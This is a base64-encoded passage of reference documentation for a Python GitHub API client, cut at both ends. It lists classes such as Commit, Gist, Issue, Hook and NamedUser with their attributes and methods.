BgYm9keWA6\nIHN0cmluZwogICAgKiBgbGluZWA6IGludGVnZXIKICAgICogYHBhdGhgOiBz\ndHJpbmcKICAgICogYHBvc2l0aW9uYDogaW50ZWdlcgoqIGBnZXRfY29tbWVu\ndHMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgQ29tbWl0Q29tbWVudGAKClN0\nYXR1c2VzCi0tLS0tLS0tCiogYGNyZWF0ZV9zdGF0dXMoIHN0YXRlLCBbdGFy\nZ2V0X3VybCwgZGVzY3JpcHRpb25dIClgOiBgQ29tbWl0U3RhdHVzYAogICAg\nKiBgc3RhdGVgOiBzdHJpbmcKICAgICogYHRhcmdldF91cmxgOiBzdHJpbmcK\nICAgICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiogYGdldF9zdGF0dXNlcygp\nYDogYFBhZ2luYXRlZExpc3RgIG9mIGBDb21taXRTdGF0dXNgCgpDbGFzcyBg\nQ29tbWl0Q29tbWVudGAKPT09PT09PT09PT09PT09PT09PT09CgpBdHRyaWJ1\ndGVzCi0tLS0tLS0tLS0KKiBgYm9keWA6IHN0cmluZwoqIGBjb21taXRfaWRg\nOiBzdHJpbmcKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiog\nYGh0bWxfdXJsYDogc3RyaW5nCiogYGlkYDogaW50ZWdlcgoqIGBsaW5lYDog\naW50ZWdlcgoqIGBwYXRoYDogc3RyaW5nCiogYHBvc2l0aW9uYDogaW50ZWdl\ncgoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDog\nc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoKRGVsZXRpb24KLS0tLS0t\nLS0KKiBgZGVsZXRlKClgCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiog\nYGVkaXQoIGJvZHkgKWAKICAgICogYGJvZHlgOiBzdHJpbmcKCkNsYXNzIGBD\nb21taXRTdGF0c2AKPT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwot\nLS0tLS0tLS0tCiogYGFkZGl0aW9uc2A6IGludGVnZXIKKiBgZGVsZXRpb25z\nYDogaW50ZWdlcgoqIGB0b3RhbGA6IGludGVnZXIKCkNsYXNzIGBDb21taXRT\ndGF0dXNgCj09PT09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0t\nLS0tLS0KKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGNy\nZWF0b3JgOiBgTmFtZWRVc2VyYAoqIGBkZXNjcmlwdGlvbmA6IHN0cmluZwoq\nIGBpZGA6IGludGVnZXIKKiBgc3RhdGVgOiBzdHJpbmcKKiBgdGFyZ2V0X3Vy\nbGA6IHN0cmluZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUK\nCkNsYXNzIGBDb21wYXJpc29uYAo9PT09PT09PT09PT09PT09PT0KCkF0dHJp\nYnV0ZXMKLS0tLS0tLS0tLQoqIGBhaGVhZF9ieWA6IGludGVnZXIKKiBgYmFz\nZV9jb21taXRgOiBgQ29tbWl0YAoqIGBiZWhpbmRfYnlgOiBpbnRlZ2VyCiog\nYGNvbW1pdHNgOiBsaXN0IG9mIGBDb21taXRgCiogYGRpZmZfdXJsYDogc3Ry\naW5nCiogYGZpbGVzYDogbGlzdCBvZiBgRmlsZWAKKiBgaHRtbF91cmxgOiBz\ndHJpbmcKKiBgcGF0Y2hfdXJsYDogc3RyaW5nCiogYHBlcm1hbGlua191cmxg\nOiBzdHJpbmcKKiBgc3RhdHVzYDogc3RyaW5nCiogYHRvdGFsX2NvbW1pdHNg\nOiBpbnRlZ2VyCiogYHVybGA6IHN0cmluZwoKQ2xhc3MgYENvbnRlbnRGaWxl\nYAo9PT09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0K\nKiBgY29udGVudGA6IHN0cmluZwoqIGBlbmNvZGluZ2A6IHN0cmluZwoqIGBu\nYW1lYDogc3RyaW5nCiogYHBhdGhgOiBzdHJpbmcKKiBgc2hhYDogc3RyaW5n\nCiogYHNpemVgOiBpbnRlZ2VyCiogYHR5cGVgOiBzdHJpbmcKCkNsYXNzIGBE\nb3dubG9hZGAKPT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0t\nLS0tCiogYGFjY2Vzc2tleWlkYDogc3RyaW5nCiogYGFjbGA6IHN0cmluZwoq\nIGBidWNrZXRgOiBzdHJpbmcKKiBgY29udGVudF90eXBlYDogc3RyaW5nCiog\nYGNyZWF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBkZXNjcmlwdGlv\nbmA6IHN0cmluZwoqIGBkb3dubG9hZF9jb3VudGA6IGludGVnZXIKKiBgZXhw\naXJhdGlvbmRhdGVgOiBkYXRldGltZS5kYXRldGltZQoqIGBodG1sX3VybGA6\nIHN0cmluZwoqIGBpZGA6IGludGVnZXIKKiBgbWltZV90eXBlYDogc3RyaW5n\nCiogYG5hbWVgOiBzdHJpbmcKKiBgcGF0aGA6IHN0cmluZwoqIGBwb2xpY3lg\nOiBzdHJpbmcKKiBgcHJlZml4YDogc3RyaW5nCiogYHJlZGlyZWN0YDogYm9v\nbAoqIGBzM191cmxgOiBzdHJpbmcKKiBgc2lnbmF0dXJlYDogc3RyaW5nCiog\nYHNpemVgOiBpbnRlZ2VyCiogYHVybGA6IHN0cmluZwoKRGVsZXRpb24KLS0t\nLS0tLS0KKiBgZGVsZXRlKClgCgpDbGFzcyBgRXZlbnRgCj09PT09PT09PT09\nPT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhY3RvcmA6IGBOYW1lZFVz\nZXJgCiogYGNyZWF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBpZGA6\nIHN0cmluZwoqIGBvcmdgOiBgT3JnYW5pemF0aW9uYAoqIGBwYXlsb2FkYDog\nZGljdAoqIGBwdWJsaWNgOiBib29sCiogYHJlcG9gOiBgUmVwb3NpdG9yeWAK\nKiBgdHlwZWA6IHN0cmluZwoKQ2xhc3MgYEZpbGVgCj09PT09PT09PT09PQoK\nQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGFkZGl0aW9uc2A6IGludGVnZXIK\nKiBgYmxvYl91cmxgOiBzdHJpbmcKKiBgY2hhbmdlc2A6IGludGVnZXIKKiBg\nZGVsZXRpb25zYDogaW50ZWdlcgoqIGBmaWxlbmFtZWA6IHN0cmluZwoqIGBw\nYXRjaGA6IHN0cmluZwoqIGByYXdfdXJsYDogc3RyaW5nCiogYHNoYWA6IHN0\ncmluZwoqIGBzdGF0dXNgOiBzdHJpbmcKCkNsYXNzIGBHaXN0YAo9PT09PT09\nPT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBjb21tZW50c2A6IGlu\ndGVnZXIKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGRl\nc2NyaXB0aW9uYDogc3RyaW5nCiogYGZpbGVzYDogZGljdCBvZiBzdHJpbmcg\ndG8gYEdpc3RGaWxlYAoqIGBmb3JrX29mYDogYEdpc3RgCiogYGZvcmtzYDog\nbGlzdCBvZiBgR2lzdGAKKiBgZ2l0X3B1bGxfdXJsYDogc3RyaW5nCiogYGdp\ndF9wdXNoX3VybGA6IHN0cmluZwoqIGBoaXN0b3J5YDogbGlzdCBvZiBgR2lz\ndEhpc3RvcnlTdGF0ZWAKKiBgaHRtbF91cmxgOiBzdHJpbmcKKiBgaWRgOiBz\ndHJpbmcKKiBgcHVibGljYDogYm9vbAoqIGB1cGRhdGVkX2F0YDogZGF0ZXRp\nbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRV\nc2VyYAoKQ29tbWVudHMKLS0tLS0tLS0KKiBgY3JlYXRlX2NvbW1lbnQoIGJv\nZHkgKWA6IGBHaXN0Q29tbWVudGAKICAgICogYGJvZHlgOiBzdHJpbmcKKiBg\nZ2V0X2NvbW1lbnQoIGlkIClgOiBgR2lzdENvbW1lbnRgCiAgICAqIGBpZGA6\nIGludGVnZXIKKiBgZ2V0X2NvbW1lbnRzKClgOiBgUGFnaW5hdGVkTGlzdGAg\nb2YgYEdpc3RDb21tZW50YAoKRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRl\nKClgCgpGb3JraW5nCi0tLS0tLS0KKiBgY3JlYXRlX2ZvcmsoKWA6IGBHaXN0\nYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBbZGVzY3Jp\ncHRpb24sIGZpbGVzXSApYAogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcK\nICAgICogYGZpbGVzYDogZGljdCBvZiBzdHJpbmcgdG8gYElucHV0RmlsZUNv\nbnRlbnRgCgpTdGFycmluZwotLS0tLS0tLQoqIGBpc19zdGFycmVkKClgOiBi\nb29sCiogYHJlc2V0X3N0YXJyZWQoKWAKKiBgc2V0X3N0YXJyZWQoKWAKCkNs\nYXNzIGBHaXN0Q29tbWVudGAKPT09PT09PT09PT09PT09PT09PQoKQXR0cmli\ndXRlcwotLS0tLS0tLS0tCiogYGJvZHlgOiBzdHJpbmcKKiBgY3JlYXRlZF9h\ndGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGlkYDogaW50ZWdlcgoqIGB1cGRh\ndGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCiog\nYHVzZXJgOiBgTmFtZWRVc2VyYAoKRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVs\nZXRlKClgCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIGJv\nZHkgKWAKICAgICogYGJvZHlgOiBzdHJpbmcKCkNsYXNzIGBHaXN0RmlsZWAK\nPT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNv\nbnRlbnRgOiBzdHJpbmcKKiBgZmlsZW5hbWVgOiBzdHJpbmcKKiBgbGFuZ3Vh\nZ2VgOiBzdHJpbmcKKiBgcmF3X3VybGA6IHN0cmluZwoqIGBzaXplYDogaW50\nZWdlcgoKQ2xhc3MgYEdpc3RIaXN0b3J5U3RhdGVgCj09PT09PT09PT09PT09\nPT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNoYW5nZV9z\ndGF0dXNgOiBgQ29tbWl0U3RhdHNgCiogYGNvbW1pdHRlZF9hdGA6IGRhdGV0\naW1lLmRhdGV0aW1lCiogYHVybGA6IHN0cmluZwoqIGB1c2VyYDogYE5hbWVk\nVXNlcmAKKiBgdmVyc2lvbmA6IHN0cmluZwoKQ2xhc3MgYEdpdEF1dGhvcmAK\nPT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBk\nYXRlYDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgZW1haWxgOiBzdHJpbmcKKiBg\nbmFtZWA6IHN0cmluZwoKQ2xhc3MgYEdpdEJsb2JgCj09PT09PT09PT09PT09\nPQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNvbnRlbnRgOiBzdHJpbmcK\nKiBgZW5jb2RpbmdgOiBzdHJpbmcKKiBgc2hhYDogc3RyaW5nCiogYHNpemVg\nOiBpbnRlZ2VyCiogYHVybGA6IHN0cmluZwoKQ2xhc3MgYEdpdENvbW1pdGAK\nPT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBh\ndXRob3JgOiBgR2l0QXV0aG9yYAoqIGBjb21taXR0ZXJgOiBgR2l0QXV0aG9y\nYAoqIGBtZXNzYWdlYDogc3RyaW5nCiogYHBhcmVudHNgOiBsaXN0IG9mIGBH\naXRDb21taXRgCiogYHNoYWA6IHN0cmluZwoqIGB0cmVlYDogYEdpdFRyZWVg\nCiogYHVybGA6IHN0cmluZwoKQ2xhc3MgYEdpdE9iamVjdGAKPT09PT09PT09\nPT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBzaGFgOiBzdHJp\nbmcKKiBgdHlwZWA6IHN0cmluZwoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBH\naXRpZ25vcmVUZW1wbGF0ZWAKPT09PT09PT09PT09PT09PT09PT09PT09PQoK\nQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG5hbWVgOiBzdHJpbmcKKiBgc291\ncmNlYDogc3RyaW5nCgpDbGFzcyBgR2l0UmVmYAo9PT09PT09PT09PT09PQoK\nQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG9iamVjdGA6IGBHaXRPYmplY3Rg\nCiogYHJlZmA6IHN0cmluZwoqIGB1cmxgOiBzdHJpbmcKCkRlbGV0aW9uCi0t\nLS0tLS0tCiogYGRlbGV0ZSgpYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0t\nLQoqIGBlZGl0KCBzaGEsIFtmb3JjZV0gKWAKICAgICogYHNoYWA6IHN0cmlu\nZwogICAgKiBgZm9yY2VgOiBib29sCgpDbGFzcyBgR2l0VGFnYAo9PT09PT09\nPT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG1lc3NhZ2VgOiBz\ndHJpbmcKKiBgb2JqZWN0YDogYEdpdE9iamVjdGAKKiBgc2hhYDogc3RyaW5n\nCiogYHRhZ2A6IHN0cmluZwoqIGB0YWdnZXJgOiBgR2l0QXV0aG9yYAoqIGB1\ncmxgOiBzdHJpbmcKCkNsYXNzIGBHaXRUcmVlYAo9PT09PT09PT09PT09PT0K\nCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBzaGFgOiBzdHJpbmcKKiBgdHJl\nZWA6IGxpc3Qgb2YgYEdpdFRyZWVFbGVtZW50YAoqIGB1cmxgOiBzdHJpbmcK\nCkNsYXNzIGBHaXRUcmVlRWxlbWVudGAKPT09PT09PT09PT09PT09PT09PT09\nPQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG1vZGVgOiBzdHJpbmcKKiBg\ncGF0aGA6IHN0cmluZwoqIGBzaGFgOiBzdHJpbmcKKiBgc2l6ZWA6IGludGVn\nZXIKKiBgdHlwZWA6IHN0cmluZwoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBI\nb29rYAo9PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBh\nY3RpdmVgOiBib29sCiogYGNvbmZpZ2A6IGRpY3QKKiBgY3JlYXRlZF9hdGA6\nIGRhdGV0aW1lLmRhdGV0aW1lCiogYGV2ZW50c2A6IGxpc3Qgb2Ygc3RyaW5n\nCiogYGlkYDogaW50ZWdlcgoqIGBsYXN0X3Jlc3BvbnNlYDogYEhvb2tSZXNw\nb25zZWAKKiBgbmFtZWA6IHN0cmluZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRp\nbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCgpEZWxldGlvbgotLS0tLS0t\nLQoqIGBkZWxldGUoKWAKCk1vZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBg\nZWRpdCggbmFtZSwgY29uZmlnLCBbZXZlbnRzLCBhZGRfZXZlbnRzLCByZW1v\ndmVfZXZlbnRzLCBhY3RpdmVdIClgCiAgICAqIGBuYW1lYDogc3RyaW5nCiAg\nICAqIGBjb25maWdgOiBkaWN0CiAgICAqIGBldmVudHNgOiBsaXN0IG9mIHN0\ncmluZwogICAgKiBgYWRkX2V2ZW50c2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAq\nIGByZW1vdmVfZXZlbnRzYDogbGlzdCBvZiBzdHJpbmcKICAgICogYGFjdGl2\nZWA6IGJvb2wKClRlc3RpbmcKLS0tLS0tLQoqIGB0ZXN0KClgCgpDbGFzcyBg\nSG9va0Rlc2NyaXB0aW9uYAo9PT09PT09PT09PT09PT09PT09PT09PQoKQXR0\ncmlidXRlcwotLS0tLS0tLS0tCiogYGV2ZW50c2A6IGxpc3Qgb2Ygc3RyaW5n\nCiogYG5hbWVgOiBzdHJpbmcKKiBgc2NoZW1hYDogbGlzdCBvZiBsaXN0IG9m\nIHN0cmluZwoqIGBzdXBwb3J0ZWRfZXZlbnRzYDogbGlzdCBvZiBzdHJpbmcK\nCkNsYXNzIGBIb29rUmVzcG9uc2VgCj09PT09PT09PT09PT09PT09PT09CgpB\ndHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgY29kZWA6IGludGVnZXIKKiBgbWVz\nc2FnZWA6IHN0cmluZwoqIGBzdGF0dXNgOiBzdHJpbmcKCkNsYXNzIGBJc3N1\nZWAKPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGFz\nc2lnbmVlYDogYE5hbWVkVXNlcmAKKiBgYm9keWA6IHN0cmluZwoqIGBjbG9z\nZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBjbG9zZWRfYnlgOiBgTmFt\nZWRVc2VyYAoqIGBjb21tZW50c2A6IGludGVnZXIKKiBgY3JlYXRlZF9hdGA6\nIGRhdGV0aW1lLmRhdGV0aW1lCiogYGh0bWxfdXJsYDogc3RyaW5nCiogYGlk\nYDogaW50ZWdlcgoqIGBsYWJlbHNgOiBsaXN0IG9mIGBMYWJlbGAKKiBgbWls\nZXN0b25lYDogYE1pbGVzdG9uZWAKKiBgbnVtYmVyYDogaW50ZWdlcgoqIGBw\ndWxsX3JlcXVlc3RgOiBgSXNzdWVQdWxsUmVxdWVzdGAKKiBgcmVwb3NpdG9y\neWA6IGBSZXBvc2l0b3J5YAoqIGBzdGF0ZWA6IHN0cmluZwoqIGB0aXRsZWA6\nIHN0cmluZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBg\ndXJsYDogc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoKQ29tbWVudHMK\nLS0tLS0tLS0KKiBgY3JlYXRlX2NvbW1lbnQoIGJvZHkgKWA6IGBJc3N1ZUNv\nbW1lbnRgCiAgICAqIGBib2R5YDogc3RyaW5nCiogYGdldF9jb21tZW50KCBp\nZCApYDogYElzc3VlQ29tbWVudGAKICAgICogYGlkYDogaW50ZWdlcgoqIGBn\nZXRfY29tbWVudHMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgSXNzdWVDb21t\nZW50YAoKRXZlbnRzCi0tLS0tLQoqIGBnZXRfZXZlbnRzKClgOiBgUGFnaW5h\ndGVkTGlzdGAgb2YgYElzc3VlRXZlbnRgCgpMYWJlbHMKLS0tLS0tCiogYGFk\nZF90b19sYWJlbHMoIGxhYmVsLCAuLi4gKWAKICAgICogYGxhYmVsYDogYExh\nYmVsYAoqIGBkZWxldGVfbGFiZWxzKClgCiogYGdldF9sYWJlbHMoKWA6IGBQ\nYWdpbmF0ZWRMaXN0YCBvZiBgTGFiZWxgCiogYHJlbW92ZV9mcm9tX2xhYmVs\ncyggbGFiZWwgKWAKICAgICogYGxhYmVsYDogYExhYmVsYAoqIGBzZXRfbGFi\nZWxzKCBsYWJlbCwgLi4uIClgCiAgICAqIGBsYWJlbGA6IGBMYWJlbGAKCk1v\nZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggW3RpdGxlLCBib2R5\nLCBhc3NpZ25lZSwgc3RhdGUsIG1pbGVzdG9uZSwgbGFiZWxzXSApYAogICAg\nKiBgdGl0bGVgOiBzdHJpbmcKICAgICogYGJvZHlgOiBzdHJpbmcKICAgICog\nYGFzc2lnbmVlYDogYE5hbWVkVXNlcmAgb3IgTm9uZQogICAgKiBgc3RhdGVg\nOiBzdHJpbmcKICAgICogYG1pbGVzdG9uZWA6IGBNaWxlc3RvbmVgIG9yIE5v\nbmUKICAgICogYGxhYmVsc2A6IGxpc3Qgb2Ygc3RyaW5nCgpDbGFzcyBgSXNz\ndWVDb21tZW50YAo9PT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwot\nLS0tLS0tLS0tCiogYGJvZHlgOiBzdHJpbmcKKiBgY3JlYXRlZF9hdGA6IGRh\ndGV0aW1lLmRhdGV0aW1lCiogYGlkYDogaW50ZWdlcgoqIGB1cGRhdGVkX2F0\nYDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCiogYHVzZXJg\nOiBgTmFtZWRVc2VyYAoKRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRlKClg\nCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIGJvZHkgKWAK\nICAgICogYGJvZHlgOiBzdHJpbmcKCkNsYXNzIGBJc3N1ZUV2ZW50YAo9PT09\nPT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhY3Rv\ncmA6IGBOYW1lZFVzZXJgCiogYGNvbW1pdF9pZGA6IHN0cmluZwoqIGBjcmVh\ndGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgZXZlbnRgOiBzdHJpbmcK\nKiBgaWRgOiBpbnRlZ2VyCiogYGlzc3VlYDogYElzc3VlYAoqIGB1cmxgOiBz\ndHJpbmcKCkNsYXNzIGBJc3N1ZVB1bGxSZXF1ZXN0YAo9PT09PT09PT09PT09\nPT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBkaWZmX3Vy\nbGA6IHN0cmluZwoqIGBodG1sX3VybGA6IHN0cmluZwoqIGBwYXRjaF91cmxg\nOiBzdHJpbmcKCkNsYXNzIGBMYWJlbGAKPT09PT09PT09PT09PQoKQXR0cmli\ndXRlcwotLS0tLS0tLS0tCiogYGNvbG9yYDogc3RyaW5nCiogYG5hbWVgOiBz\ndHJpbmcKKiBgdXJsYDogc3RyaW5nCgpEZWxldGlvbgotLS0tLS0tLQoqIGBk\nZWxldGUoKWAKCk1vZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCgg\nbmFtZSwgY29sb3IgKWAKICAgICogYG5hbWVgOiBzdHJpbmcKICAgICogYGNv\nbG9yYDogc3RyaW5nCgpDbGFzcyBgTWlsZXN0b25lYAo9PT09PT09PT09PT09\nPT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNsb3NlZF9pc3N1ZXNg\nOiBpbnRlZ2VyCiogYGNyZWF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoq\nIGBjcmVhdG9yYDogYE5hbWVkVXNlcmAKKiBgZGVzY3JpcHRpb25gOiBzdHJp\nbmcKKiBgZHVlX29uYDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgaWRgOiBpbnRl\nZ2VyCiogYG51bWJlcmA6IGludGVnZXIKKiBgb3Blbl9pc3N1ZXNgOiBpbnRl\nZ2VyCiogYHN0YXRlYDogc3RyaW5nCiogYHRpdGxlYDogc3RyaW5nCiogYHVy\nbGA6IHN0cmluZwoKRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRlKClgCgpM\nYWJlbHMKLS0tLS0tCiogYGdldF9sYWJlbHMoKWA6IGBQYWdpbmF0ZWRMaXN0\nYCBvZiBgTGFiZWxgCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVk\naXQoIHRpdGxlLCBbc3RhdGUsIGRlc2NyaXB0aW9uLCBkdWVfb25dIClgCiAg\nICAqIGB0aXRsZWA6IHN0cmluZwogICAgKiBgc3RhdGVgOiBzdHJpbmcKICAg\nICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiAgICAqIGBkdWVfb25gOiBkYXRl\nCgpDbGFzcyBgTmFtZWRVc2VyYAo9PT09PT09PT09PT09PT09PQoKQXR0cmli\ndXRlcwotLS0tLS0tLS0tCiogYGF2YXRhcl91cmxgOiBzdHJpbmcKKiBgYmlv\nYDogc3RyaW5nCiogYGJsb2dgOiBzdHJpbmcKKiBgY29sbGFib3JhdG9yc2A6\nIGludGVnZXIKKiBgY29tcGFueWA6IHN0cmluZwoqIGBjb250cmlidXRpb25z\nYDogaW50ZWdlcgoqIGBjcmVhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUK\nKiBgZGlza191c2FnZWA6IGludGVnZXIKKiBgZW1haWxgOiBzdHJpbmcKKiBg\nZm9sbG93ZXJzYDogaW50ZWdlcgoqIGBmb2xsb3dpbmdgOiBpbnRlZ2VyCiog\nYGdyYXZhdGFyX2lkYDogc3RyaW5nCiogYGhpcmVhYmxlYDogYm9vbAoqIGBo\ndG1sX3VybGA6IHN0cmluZwoqIGBpZGA6IGludGVnZXIKKiBgbG9jYXRpb25g\nOiBzdHJpbmcKKiBgbG9naW5gOiBzdHJpbmcKKiBgbmFtZWA6IHN0cmluZwoq\nIGBvd25lZF9wcml2YXRlX3JlcG9zYDogaW50ZWdlcgoqIGBwbGFuYDogYFBs\nYW5gCiogYHByaXZhdGVfZ2lzdHNgOiBpbnRlZ2VyCiogYHB1YmxpY19naXN0\nc2A6IGludGVnZXIKKiBgcHVibGljX3JlcG9zYDogaW50ZWdlcgoqIGB0b3Rh\nbF9wcml2YXRlX3JlcG9zYDogaW50ZWdlcgoqIGB0eXBlYDogc3RyaW5nCiog\nYHVybGA6IHN0cmluZwoKRXZlbnRzCi0tLS0tLQoqIGBnZXRfZXZlbnRzKClg\nOiBgUGFnaW5hdGVkTGlzdGAgb2YgYEV2ZW50YAoqIGBnZXRfcHVibGljX2V2\nZW50cygpYDogYFBhZ2luYXRlZExpc3RgIG9mIGBFdmVudGAKKiBgZ2V0X3Jl\nY2VpdmVkX2V2ZW50cygpYDogYFBhZ2luYXRlZExpc3RgIG9mIGBFdmVudGAK\nKiBgZ2V0X3B1YmxpY19yZWNlaXZlZF9ldmVudHMoKWA6IGBQYWdpbmF0ZWRM\naXN0YCBvZiBgRXZlbnRgCgpGb2xsb3dlcnMKLS0tLS0tLS0tCiogYGdldF9m\nb2xsb3dlcnMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgTmFtZWRVc2VyYAoK\nRm9sbG93aW5nCi0tLS0tLS0tLQoqIGBnZXRfZm9sbG93aW5nKClgOiBgUGFn\naW5hdGVkTGlzdGAgb2YgYE5hbWVkVXNlcmAKCkdpc3RzCi0tLS0tCiogYGNy\nZWF0ZV9naXN0KCBwdWJsaWMsIGZpbGVzLCBbZGVzY3JpcHRpb25dIClgOiBg\nR2lzdGAKICAgICogYHB1YmxpY2A6IGJvb2wKICAgICogYGZpbGVzYDogZGlj\ndCBvZiBzdHJpbmcgdG8gYElucHV0RmlsZUNvbnRlbnRgCiAgICAqIGBkZXNj\ncmlwdGlvbmA6IHN0cmluZwoqIGBnZXRfZ2lzdHMoKWA6IGBQYWdpbmF0ZWRM\naXN0YCBvZiBgR2lzdGAKCk9yZ3MKLS0tLQoqIGBnZXRfb3JncygpYDogYFBh\nZ2luYXRlZExpc3RgIG9mIGBPcmdhbml6YXRpb25gCgpSZXBvcwotLS0tLQoq\nIGBnZXRfcmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAgICAqIGBuYW1l\nYDogc3RyaW5nCiogYGdldF9yZXBvcyggW3R5cGVdIClgOiBgUGFnaW5hdGVk\nTGlzdGAgb2YgYFJlcG9zaXRvcnlgCiAgICAqIGB0eXBlYDogc3RyaW5nCgpT\ndGFycmVkCi0tLS0tLS0KKiBgZ2V0X3N0YXJyZWQoKWA6IGBQYWdpbmF0ZWRM\naXN0YCBvZiBgUmVwb3NpdG9yeWAKClN1YnNjcmlwdGlvbnMKLS0tLS0tLS0t\nLS0tLQoqIGBnZXRfc3Vic2NyaXB0aW9ucygpYDogYFBhZ2luYXRlZExpc3Rg\nIG9mIGBSZXBvc2l0b3J5YAoKV2F0Y2hlZAotLS0tLS0tCiogYGdldF93YXRj\naGVkKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYFJlcG9zaXRvcnlgCgpDbGFz\ncyBgT3JnYW5pemF0aW9uYAo9PT09PT09PT09PT09PT09PT09PQoKQXR0cmli\ndXRlcwotLS0tLS0tLS0tCiogYGF2YXRhcl91cmxgOiBzdHJpbmcKKiBgYmls\nbGluZ19lbWFpbGA6IHN0cmluZwoqIGBibG9nYDogc3RyaW5nCiogYGNvbGxh\nYm9yYXRvcnNgOiBpbnRlZ2VyCiogYGNvbXBhbnlgOiBzdHJpbmcKKiBgY3Jl\nYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGRpc2tfdXNhZ2VgOiBp\nbnRlZ2VyCiogYGVtYWlsYDogc3RyaW5nCiogYGZvbGxvd2Vyc2A6IGludGVn\nZXIKKiBgZm9sbG93aW5nYDogaW50ZWdlcgoqIGBncmF2YXRhcl9pZGA6IHN0\ncmluZwoqIGBodG1sX3VybGA6IHN0cmluZwoqIGBpZGA6IGludGVnZXIKKiBg\nbG9jYXRpb25gOiBzdHJpbmcKKiBgbG9naW5gOiBzdHJpbmcKKiBgbmFtZWA6\nIHN0cmluZwoqIGBvd25lZF9wcml2YXRlX3JlcG9zYDogaW50ZWdlcgoqIGBw\nbGFuYDogYFBsYW5gCiogYHByaXZhdGVfZ2lzdHNgOiBpbnRlZ2VyCiogYHB1\nYmxpY19naXN0c2A6IGludGVnZXIKKiBgcHVibGljX3JlcG9zYDogaW50ZWdl\ncgoqIGB0b3RhbF9wcml2YXRlX3JlcG9zYDogaW50ZWdlcgoqIGB